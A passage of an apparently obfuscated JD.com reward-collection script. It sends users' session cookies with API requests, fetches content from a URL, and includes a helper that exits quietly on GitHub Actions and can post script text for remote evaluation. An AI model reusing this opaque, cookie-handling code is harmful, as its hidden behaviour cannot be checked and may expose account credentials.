if($[_0x1397('116','G89w')](_0x2c27bc[_0x1397('117','YBF&')])){return _0x2c27bc[_0x1397('118','NB)(')]($[_0x1397('13','(Wgi')](_0x2c27bc[_0x1397('119','q&xS')]),_0x2c27bc[_0x1397('11a','zmkL')]);}return!![];}else{if(_0x301ad8[_0x1397('11b','hx28')](_0x2a6b3c,_0x46fecc)){_0x46fecc=JSON[_0x1397('11c','A#Us')](_0x46fecc);if(_0x301ad8[_0x1397('11d','hMbH')](_0x46fecc[_0x1397('11e','XgSw')],'0')){console[_0x1397('40','2sA7')](_0x1397('11f','Kl@E')+JSON[_0x1397('120','aM3b')](_0x46fecc[_0x1397('121','tXsZ')]));message+=_0x1397('122','d[PA')+_0x46fecc[_0x1397('123','pjia')][_0x1397('124','hx28')][0x0][_0x1397('125','CJqo')]+'京豆';_0xbb4a67+=_0x1397('126','^h3j')+$[_0x1397('127','xRQa')]+'-'+($[_0x1397('128','G89w')]||$[_0x1397('129','!ztH')])+_0x1397('12a','tXsZ')+_0x46fecc[_0x1397('12b','N84B')][_0x1397('12c',')^(8')][0x0][_0x1397('12d','zmkL')]+'京豆'+(_0x301ad8[_0x1397('12e','3L)y')]($[_0x1397('12f','&b9Y')],cookiesArr[_0x1397('c2','YBF&')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x301ad8[_0x1397('130','JPxi')](_0x46fecc[_0x1397('131','xA72')],'8')){if(_0x301ad8[_0x1397('132','zmkL')](_0x301ad8[_0x1397('133','hx28')],_0x301ad8[_0x1397('134','YBF&')])){console[_0x1397('135','2&S]')](_0x1397('136','G89w'));message+=_0x1397('137','G89w');}else{$[_0x1397('138','7Hqq')]=$[_0x1397('139','&b9Y')];}}else{if(_0x301ad8[_0x1397('13a','0zsU')](_0x301ad8[_0x1397('13b','(Wgi')],_0x301ad8[_0x1397('13c','Wzkm')])){console[_0x1397('13d','CM6L')](_0x1397('13e','NB)(')+JSON[_0x1397('a','*)8S')](_0x46fecc));}else{console[_0x1397('13f','3hCf')](e);console[_0x1397('140','hx28')](_0x1397('141','tXsZ'));return![];}}}}}}}catch(_0x5e394f){$[_0x1397('142','^h3j')](_0x5e394f,_0x3bda54);}finally{if(_0x301ad8[_0x1397('143','aM3b')](_0x301ad8[_0x1397('144','pjia')],_0x301ad8[_0x1397('145','YBF&')])){_0x301ad8[_0x1397('146','j1Vv')](_0x13617a);}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('61','Ayq5')](_0x4a4fc1));console[_0x1397('147','xA72')]($[_0x1397('148','Wzkm')]+_0x1397('149',')^(8'));}}}});});}function _0xd5e08a(_0x18c5c0){var _0x4732d2={'KTzQB':function(_0x2d8e5d,_0x5ec218){return _0x2d8e5d!==_0x5ec218;},'gUSjS':_0x1397('14a','zmkL'),'cxwnQ':function(_0x5164fc,_0x5b2b15){return _0x5164fc==_0x5b2b15;},'PrhME':function(_0x37ea67,_0x25d211){return _0x37ea67===_0x25d211;},'JTEKr':_0x1397('14b',')^(8'),'GCUJi':_0x1397('14c','hx28'),'wJZji':function(_0x38a198,_0x5ca717){return _0x38a198(_0x5ca717);},'AwtCg':_0x1397('14d','2&S]'),'UCDyI':_0x1397('14e','yW]B')};return new Promise(_0x244d32=>{var _0x24ad9d={'IekPP':_0x4732d2[_0x1397('14f','Kl@E')],'zaKRM':_0x4732d2[_0x1397('150','!ztH')]};let _0x1292d3='';$[_0x1397('151','Kl@E')]({'url':_0x18c5c0},async(_0x1882ea,_0x5b022e,_0x450df3)=>{if(_0x4732d2[_0x1397('152','xI6(')](_0x4732d2[_0x1397('153','&b9Y')],_0x4732d2[_0x1397('154',')^(8')])){$[_0x1397('155','JPxi')]($[_0x1397('156','aM3b')],_0x24ad9d[_0x1397('157','xA72')],_0x24ad9d[_0x1397('158','xI6(')],{'open-url':_0x24ad9d[_0x1397('159','[Jme')]});return;}else{try{if(_0x1882ea){if(_0x4732d2[_0x1397('15a','pjia')](_0x5b022e[_0x1397('15b','CJqo')],0x202)){console[_0x1397('15c','JPxi')](_0x1397('15d','CM6L'));}else{console[_0x1397('45','xRQa')](''+JSON[_0x1397('15e','Kl@E')](_0x1882ea));}_0x1292d3='';}else{if(!!_0x450df3){_0x1292d3=_0x450df3[_0x1397('ca','!ztH')](/[\r\n]/g,'');}else{_0x1292d3='';}}}catch(_0x410488){if(_0x4732d2[_0x1397('15f','!ztH')](_0x4732d2[_0x1397('160','0zsU')],_0x4732d2[_0x1397('161','0zsU')])){return JSON[_0x1397('162',')^(8')](str);}else{$[_0x1397('163','#Z$t')](_0x410488,_0x5b022e);}}finally{_0x4732d2[_0x1397('164','d[PA')](_0x244d32,_0x1292d3);}}});});}function _0x18f0f7(){var _0x3db101={'wWfMt':_0x1397('165','2&S]'),'qySTa':_0x1397('166','CM6L'),'aQrZm':function(_0xbeeef,_0xe528be){return _0xbeeef===_0xe528be;},'ahHAh':_0x1397('167','YBF&'),'iOKJJ':_0x1397('168','(14x')};let _0x372a88=_0x3db101[_0x1397('169','aM3b')];if($[_0x1397('16a','^]tN')]()&&process[_0x1397('16b','*)8S')][_0x1397('16c','3L)y')]){if(_0x3db101[_0x1397('16d','(14x')](_0x3db101[_0x1397('16e','00$W')],_0x3db101[_0x1397('16f','XgSw')])){let _0x558759=_0x3db101[_0x1397('170','JPxi')];if($[_0x1397('171','G89w')]()&&process[_0x1397('5c','^h3j')][_0x1397('172','Wzkm')]){_0x558759=process[_0x1397('173','0zsU')][_0x1397('174','pjia')];}else if($[_0x1397('175','CM6L')](_0x3db101[_0x1397('176','LiL9')])){_0x558759=$[_0x1397('177','A#Us')](_0x3db101[_0x1397('178','b!pb')]);}return _0x558759;}else{_0x372a88=process[_0x1397('59','aM3b')][_0x1397('179','Ayq5')];}}else if($[_0x1397('17a','!PYj')](_0x3db101[_0x1397('17b',')^(8')])){_0x372a88=$[_0x1397('17c','aM3b')](_0x3db101[_0x1397('17d','[Jme')]);}return _0x372a88;}function _0x269e3c(){var _0x5268e0={'XmHBV':function(_0x16b7ff,_0x4c7a9d){return _0x16b7ff(_0x4c7a9d);},'HkUPH':function(_0x432534,_0x4c68b1){return _0x432534+_0x4c68b1;},'vhMMx':function(_0x37731c,_0x31ab00){return _0x37731c+_0x31ab00;},'CYgEo':function(_0x4b300f,_0x5ccce0){return _0x4b300f*_0x5ccce0;},'FKavl':function(_0x1154b7,_0x3463ed){return _0x1154b7*_0x3463ed;},'OJqVy':function(_0x5d21ea,_0x105eef){return _0x5d21ea*_0x105eef;},'WnvmA':_0x1397('17e','#Z$t'),'PwaZc':_0x1397('17f','7Hqq'),'sllAS':_0x1397('180','f%nz'),'rMPjD':_0x1397('181','XgSw'),'dXsJr':_0x1397('182','3hCf'),'EDrvi':_0x1397('183','(14x'),'jKYjR':_0x1397('184','CJqo'),'CmFVb':function(_0xb7507,_0x37262f){return _0xb7507!==_0x37262f;},'tQXXT':_0x1397('185','zhk0'),'FMpqU':function(_0x2c3b84,_0x2dc77b){return _0x2c3b84!=_0x2dc77b;},'nwZSi':_0x1397('186','G89w'),'oSuYL':_0x1397('187','CJqo'),'yQNab':function(_0x350a8f,_0x196614){return _0x350a8f!=_0x196614;}};if($[_0x1397('188','j1Vv')]()&&process[_0x1397('4','pjia')][_0x1397('189','Wzkm')]){if(_0x5268e0[_0x1397('18a','00$W')](_0x5268e0[_0x1397('18b','NDPd')],_0x5268e0[_0x1397('18c','2&S]')])){return{'url':_0x5590e8+_0x1397('18d','3L)y')+function_id+_0x1397('18e','^]tN')+_0x5268e0[_0x1397('18f','N84B')](escape,JSON[_0x1397('190','pjia')](body))+_0x1397('191','7Hqq')+_0x5268e0[_0x1397('192','N84B')](_0x5268e0[_0x1397('193','Kl@E')](new Date()[_0x1397('194','q&xS')](),_0x5268e0[_0x1397('195','aM3b')](_0x5268e0[_0x1397('196','aM3b')](new Date()[_0x1397('197','^h3j')](),0x3c),0x3e8)),_0x5268e0[_0x1397('198','00$W')](_0x5268e0[_0x1397('199','(Wgi')](_0x5268e0[_0x1397('19a',']PO1')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x5268e0[_0x1397('19b','xI6(')],'Accept-Encoding':_0x5268e0[_0x1397('19c','[Jme')],'Accept-Language':_0x5268e0[_0x1397('19d','3hCf')],'Connection':_0x5268e0[_0x1397('19e','[Jme')],'Content-Type':_0x5268e0[_0x1397('19f','^h3j')],'Host':_0x5268e0[_0x1397('1a0','NDPd')],'Referer':_0x1397('1a1','LiL9')+$[_0x1397('1a2','3L)y')]+_0x1397('1a3','LiL9'),'Cookie':cookie,'User-Agent':_0x5268e0[_0x1397('1a4','3L)y')]}};}else{return _0x5268e0[_0x1397('1a5','pjia')](process[_0x1397('1a6','XgSw')][_0x1397('1a7','pjia')],_0x5268e0[_0x1397('1a8','aM3b')]);}}else if($[_0x1397('1a9','3hCf')](_0x5268e0[_0x1397('1aa','YBF&')])){return _0x5268e0[_0x1397('1ab','A#Us')]($[_0x1397('1ac','zhk0')](_0x5268e0[_0x1397('1ad','b!pb')]),_0x5268e0[_0x1397('1ae','*)8S')]);}return!![];}function _0x4a7dc3(_0x10dfbb,_0x3b1cd3={}){var _0x4b4aaf={'XEmwV':function(_0x374038,_0x1ac37f){return _0x374038(_0x1ac37f);},'Rkkal':function(_0x42af1e,_0x1e22d7){return _0x42af1e+_0x1e22d7;},'QfODD':function(_0x2bbedf,_0x40c462){return _0x2bbedf*_0x40c462;},'mqHli':_0x1397('1af','f%nz'),'cMRsJ':_0x1397('17f','7Hqq'),'fnokc':_0x1397('1b0','7Hqq'),'jbpVp':_0x1397('1b1','YBF&'),'aySwa':_0x1397('1b2','8D^#'),'FFZJl':_0x1397('1b3','[Jme'),'QgqnH':_0x1397('1b4','*)8S')};return{'url':_0x5590e8+_0x1397('1b5','#Z$t')+_0x10dfbb+_0x1397('1b6','yW]B')+_0x4b4aaf[_0x1397('1b7','YBF&')](escape,JSON[_0x1397('1b8','NDPd')](_0x3b1cd3))+_0x1397('1b9','3L)y')+_0x4b4aaf[_0x1397('1ba','2sA7')](_0x4b4aaf[_0x1397('1bb','j1Vv')](new Date()[_0x1397('1bc','A#Us')](),_0x4b4aaf[_0x1397('1bd','LiL9')](_0x4b4aaf[_0x1397('1be','A#Us')](new Date()[_0x1397('1bf','CM6L')](),0x3c),0x3e8)),_0x4b4aaf[_0x1397('1c0','hMbH')](_0x4b4aaf[_0x1397('1c1',')^(8')](_0x4b4aaf[_0x1397('1c2','Kl@E')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x4b4aaf[_0x1397('1c3','00$W')],'Accept-Encoding':_0x4b4aaf[_0x1397('1c4','hx28')],'Accept-Language':_0x4b4aaf[_0x1397('1c5','!PYj')],'Connection':_0x4b4aaf[_0x1397('1c6','j1Vv')],'Content-Type':_0x4b4aaf[_0x1397('1c7','[Jme')],'Host':_0x4b4aaf[_0x1397('1c8','#Z$t')],'Referer':_0x1397('1c9','!ztH')+$[_0x1397('1ca','7Hqq')]+_0x1397('1cb','CJqo'),'Cookie':cookie,'User-Agent':_0x4b4aaf[_0x1397('1cc','(14x')]}};}function _0x1fbe85(){var _0x8c07df={'vPWdK':function(_0x2db937,_0x43ca4f){return _0x2db937+_0x43ca4f;},'HIcTc':function(_0x15e1cc,_0x8cb172){return _0x15e1cc*_0x8cb172;},'ElzPi':function(_0x28449c,_0x306d41){return _0x28449c-_0x306d41;},'gGGSd':_0x1397('1cd','NDPd'),'ZdyCr':_0x1397('1ce','d[PA'),'LqXHJ':function(_0x13b747,_0x37a0e9){return _0x13b747==_0x37a0e9;},'vXBFf':function(_0x16c050,_0x5823d6){return _0x16c050===_0x5823d6;},'cCiGu':_0x1397('1cf','N84B'),'LBXSX':function(_0x8dc41b,_0x278bf5){return _0x8dc41b!==_0x278bf5;},'ULcKR':_0x1397('1d0','zmkL'),'CDFxP':_0x1397('1d1','G89w'),'QUDli':_0x1397('1d2','q&xS'),'wAbuD':_0x1397('1d3',')^(8'),'ncmBF':_0x1397('1d4','YBF&'),'HecNZ':function(_0x3d6373,_0x325c20){return _0x3d6373===_0x325c20;},'xGveF':_0x1397('1d5','j1Vv'),'rNjLz':_0x1397('1d6','NDPd'),'hpkIo':_0x1397('1d7','xA72'),'rvFni':_0x1397('1d8','xA72'),'egWfX':_0x1397('1d9','Kl@E'),'OgRZJ':function(_0x57e366){return _0x57e366();},'iPPrR':_0x1397('1da','*)8S'),'SSXKB':_0x1397('1db','xRQa'),'GUmra':_0x1397('1dc','Kl@E'),'KhbZV':_0x1397('1dd','^]tN'),'DvOUm':_0x1397('1de','3L)y'),'hrSNP':_0x1397('1df','A#Us'),'tNIOS':_0x1397('1e0','XgSw'),'EttnX':_0x1397('1e1','xRQa')};return new Promise(async _0x48100b=>{var _0x3d6912={'Nzfrk':function(_0x4f672a,_0x289f0c){return _0x8c07df[_0x1397('1e2','tXsZ')](_0x4f672a,_0x289f0c);},'hIyeX':function(_0x1b4cb1,_0x266b60){return _0x8c07df[_0x1397('1e3','Kl@E')](_0x1b4cb1,_0x266b60);},'Pfsvv':function(_0x1412d5,_0x23a4c6){return _0x8c07df[_0x1397('1e4',']PO1')](_0x1412d5,_0x23a4c6);},'CMmlu':_0x8c07df[_0x1397('1e5','Ayq5')],'hlBoK':_0x8c07df[_0x1397('1e6','Ayq5')],'JTHFN':function(_0x2c6bfc,_0x58302f){return _0x8c07df[_0x1397('1e7','Wzkm')](_0x2c6bfc,_0x58302f);},'oJasE':function(_0x4e6e51,_0x58314e){return _0x8c07df[_0x1397('1e8','[Jme')](_0x4e6e51,_0x58314e);},'uzgnd':_0x8c07df[_0x1397('1e9','xA72')],'erxqR':function(_0x492cc1,_0x4225e2){return _0x8c07df[_0x1397('1ea','!PYj')](_0x492cc1,_0x4225e2);},'XuWri':_0x8c07df[_0x1397('1eb','xI6(')],'SxTJc':_0x8c07df[_0x1397('1ec','zmkL')],'wuYLV':_0x8c07df[_0x1397('1ed','j1Vv')],'gWmrv':_0x8c07df[_0x1397('1ee','2&S]')],'LIVrp':_0x8c07df[_0x1397('1ef','q&xS')],'DaRND':function(_0x5da8b8,_0x4d83f4){return _0x8c07df[_0x1397('1f0','3L)y')](_0x5da8b8,_0x4d83f4);},'WMaTe':_0x8c07df[_0x1397('1f1','d[PA')],'ODTaK':_0x8c07df[_0x1397('1f2',']PO1')],'EdFEf':_0x8c07df[_0x1397('1f3','[Jme')],'Jxcvm':_0x8c07df[_0x1397('1f4','Ayq5')],'gPWZL':_0x8c07df[_0x1397('1f5','hMbH')],'nexJM':function(_0x171ad4){return _0x8c07df[_0x1397('1f6','Wzkm')](_0x171ad4);}};const _0x346876={'url':_0x1397('1f7','yW]B'),'headers':{'Accept':_0x8c07df[_0x1397('1f8','Ayq5')],'Content-Type':_0x8c07df[_0x1397('1f9','*)8S')],'Accept-Encoding':_0x8c07df[_0x1397('1fa','JPxi')],'Accept-Language':_0x8c07df[_0x1397('1fb','hMbH')],'Connection':_0x8c07df[_0x1397('1fc','!PYj')],'Cookie':cookie,'Referer':_0x8c07df[_0x1397('1fd','2&S]')],'User-Agent':$[_0x1397('1fe','^h3j')]()?process[_0x1397('1ff','[Jme')][_0x1397('200','LiL9')]?process[_0x1397('201','q&xS')][_0x1397('202','Kl@E')]:_0x8c07df[_0x1397('203','!ztH')]:$[_0x1397('204','^]tN')](_0x8c07df[_0x1397('205','zhk0')])?$[_0x1397('206','hx28')](_0x8c07df[_0x1397('207','tXsZ')]):_0x8c07df[_0x1397('208','q&xS')]}};$[_0x1397('209','xI6(')](_0x346876,(_0x209a68,_0x1ee4e1,_0x492e58)=>{var _0x46d2d9={'GtoTi':_0x3d6912[_0x1397('20a','j1Vv')],'rUCNQ':function(_0x55bbc0,_0x5e2066){return _0x3d6912[_0x1397('20b','Wzkm')](_0x55bbc0,_0x5e2066);}};try{if(_0x209a68){if(_0x3d6912[_0x1397('20c','(14x')](_0x3d6912[_0x1397('20d','2&S]')],_0x3d6912[_0x1397('20e','3hCf')])){console[_0x1397('20f','hMbH')](''+JSON[_0x1397('210','YBF&')](_0x209a68));console[_0x1397('211','tXsZ')]($[_0x1397('212','hMbH')]+_0x1397('213','xI6('));}else{console[_0x1397('49','NB)(')](_0x1397('214','7Hqq'));}}else{if(_0x3d6912[_0x1397('215','Ayq5')](_0x3d6912[_0x1397('216','3hCf')],_0x3d6912[_0x1397('217','(14x')])){$[_0x1397('218','hx28')]=![];return;}else{if(_0x492e58){_0x492e58=JSON[_0x1397('219','hx28')](_0x492e58);if(_0x3d6912[_0x1397('21a','CM6L')](_0x492e58[_0x3d6912[_0x1397('21b','aM3b')]],0xd)){$[_0x1397('21c','3hCf')]=![];return;}if(_0x3d6912[_0x1397('21d','0zsU')](_0x492e58[_0x3d6912[_0x1397('21e','3L)y')]],0x0)){if(_0x3d6912[_0x1397('21f','^]tN')](_0x3d6912[_0x1397('220','hx28')],_0x3d6912[_0x1397('221','aM3b')])){url=$[_0x1397('222','!ztH')](_0x46d2d9[_0x1397('223','b!pb')]);}else{$[_0x1397('224','tXsZ')]=_0x492e58[_0x3d6912[_0x1397('225','8D^#')]]&&_0x492e58[_0x3d6912[_0x1397('226','2sA7')]][_0x1397('227','0zsU')]||$[_0x1397('228','q&xS')];}}else{if(_0x3d6912[_0x1397('229','^]tN')](_0x3d6912[_0x1397('22a','f%nz')],_0x3d6912[_0x1397('22b','j1Vv')])){$[_0x1397('92','xI6(')]=$[_0x1397('9a','N84B')];}else{return _0x3d6912[_0x1397('22c','Ayq5')](Math[_0x1397('22d','hMbH')](_0x3d6912[_0x1397('22e','yW]B')](Math[_0x1397('22f','zhk0')](),_0x3d6912[_0x1397('230','[Jme')](max,min))),min);}}}else{if(_0x3d6912[_0x1397('231','aM3b')](_0x3d6912[_0x1397('232','*)8S')],_0x3d6912[_0x1397('233','aM3b')])){console[_0x1397('234',')^(8')](_0x1397('235','aM3b'));}else{console[_0x1397('236','G89w')](e);$[_0x1397('237','!ztH')]($[_0x1397('238','NB)(')],'',_0x3d6912[_0x1397('239','*)8S')]);return[];}}}}}catch(_0x527be7){if(_0x3d6912[_0x1397('23a','N84B')](_0x3d6912[_0x1397('23b','2sA7')],_0x3d6912[_0x1397('23c','LiL9')])){if(_0x46d2d9[_0x1397('23d','CM6L')](_0x1ee4e1[_0x1397('23e','Ayq5')],0x202)){console[_0x1397('23f','(14x')](_0x1397('240',')^(8'));}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('241','^h3j')](_0x209a68));}id='';}else{$[_0x1397('242','q&xS')](_0x527be7,_0x1ee4e1);}}finally{_0x3d6912[_0x1397('243','!PYj')](_0x48100b);}});});}function _0x2a6b3c(_0x51e159){var _0x5cb75b={'ycJLx':function(_0x586d30,_0x3e0ecf){return _0x586d30!==_0x3e0ecf;},'dEiMG':_0x1397('244','tXsZ'),'AcOml':_0x1397('245','G89w'),'uOwyi':function(_0x19b084,_0x5374d3){return _0x19b084==_0x5374d3;},'HjzHK':_0x1397('246','2sA7'),'gZaDQ':function(_0xad525b,_0x454ead){return _0xad525b===_0x454ead;},'nFvdX':_0x1397('247','2sA7')};try{if(_0x5cb75b[_0x1397('248','hMbH')](_0x5cb75b[_0x1397('249','A#Us')],_0x5cb75b[_0x1397('24a','hMbH')])){if(_0x5cb75b[_0x1397('24b','^]tN')](typeof JSON[_0x1397('24c','!ztH')](_0x51e159),_0x5cb75b[_0x1397('24d','xI6(')])){if(_0x5cb75b[_0x1397('24e','f%nz')](_0x5cb75b[_0x1397('24f','00$W')],_0x5cb75b[_0x1397('250','G89w')])){return!![];}else{console[_0x1397('251','Wzkm')](_0x1397('252','^h3j'));message+=_0x1397('253','2sA7');}}}else{console[_0x1397('108','00$W')](_0x1397('254','j1Vv')+JSON[_0x1397('255','3hCf')](_0x51e159));}}catch(_0x578775){console[_0x1397('256','A#Us')](_0x578775);console[_0x1397('257','^]tN')](_0x1397('258','7Hqq'));return![];}}function _0x332046(_0x1facd2){var _0x163c5b={'EPist':function(_0x5633e1,_0x4b4f07){return _0x5633e1!=_0x4b4f07;},'YsXeL':function(_0x293050,_0x4a77f8){return _0x293050<_0x4a77f8;},'hyRDG':function(_0x3a548b,_0x605e29){return _0x3a548b+_0x605e29;},'qpkIf':function(_0xfa4a42,_0x1a8fb9,_0x13aee8){return _0xfa4a42(_0x1a8fb9,_0x13aee8);},'GVNjX':function(_0xa65e11,_0x3f12){return _0xa65e11==_0x3f12;},'EItmr':_0x1397('259','zhk0'),'Ouwol':function(_0x5c2bed,_0x3dd205){return _0x5c2bed===_0x3dd205;},'QaydQ':_0x1397('25a','xI6('),'rbVLi':_0x1397('25b',')^(8')};if(_0x163c5b[_0x1397('25c','*)8S')](typeof _0x1facd2,_0x163c5b[_0x1397('25d','yW]B')])){if(_0x163c5b[_0x1397('25e','3hCf')](_0x163c5b[_0x1397('25f','pjia')],_0x163c5b[_0x1397('260','xI6(')])){try{return JSON[_0x1397('261','hMbH')](_0x1facd2);}catch(_0x546679){console[_0x1397('10a','!ztH')](_0x546679);$[_0x1397('2e','Wzkm')]($[_0x1397('b3','*)8S')],'',_0x163c5b[_0x1397('262','[Jme')]);return[];}}else{if(_0x163c5b[_0x1397('263','hMbH')](code[_0x1397('264','hMbH')]('-'),-0x1)){_0x446bc9=!![];let _0x39d5e6=code[_0x1397('265','Wzkm')]()[_0x1397('266','CJqo')](/-/g,'');var _0x1f2550=_0x39d5e6[_0x1397('267','2&S]')]('')[_0x1397('268','3hCf')]()[_0x1397('269','A#Us')]('');var _0x244b6a=_0x1f2550[_0x1397('26a','[Jme')];var _0x13eaf3;var _0x4289ab=[];for(var _0x582123=0x0;_0x163c5b[_0x1397('26b','0zsU')](_0x582123,_0x244b6a);_0x582123=_0x163c5b[_0x1397('26c','JPxi')](_0x582123,0x2)){_0x13eaf3=_0x163c5b[_0x1397('26d','hx28')](parseInt,_0x1f2550[_0x1397('26e','zmkL')](_0x582123,0x2),0x10);_0x4289ab[_0x1397('26f','tXsZ')](String[_0x1397('270','q&xS')](_0x13eaf3));}return _0x4289ab[_0x1397('271','[Jme')]('')[_0x1397('272','j1Vv')](/#/g,'');}else{return code;}}}};_0xodW='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 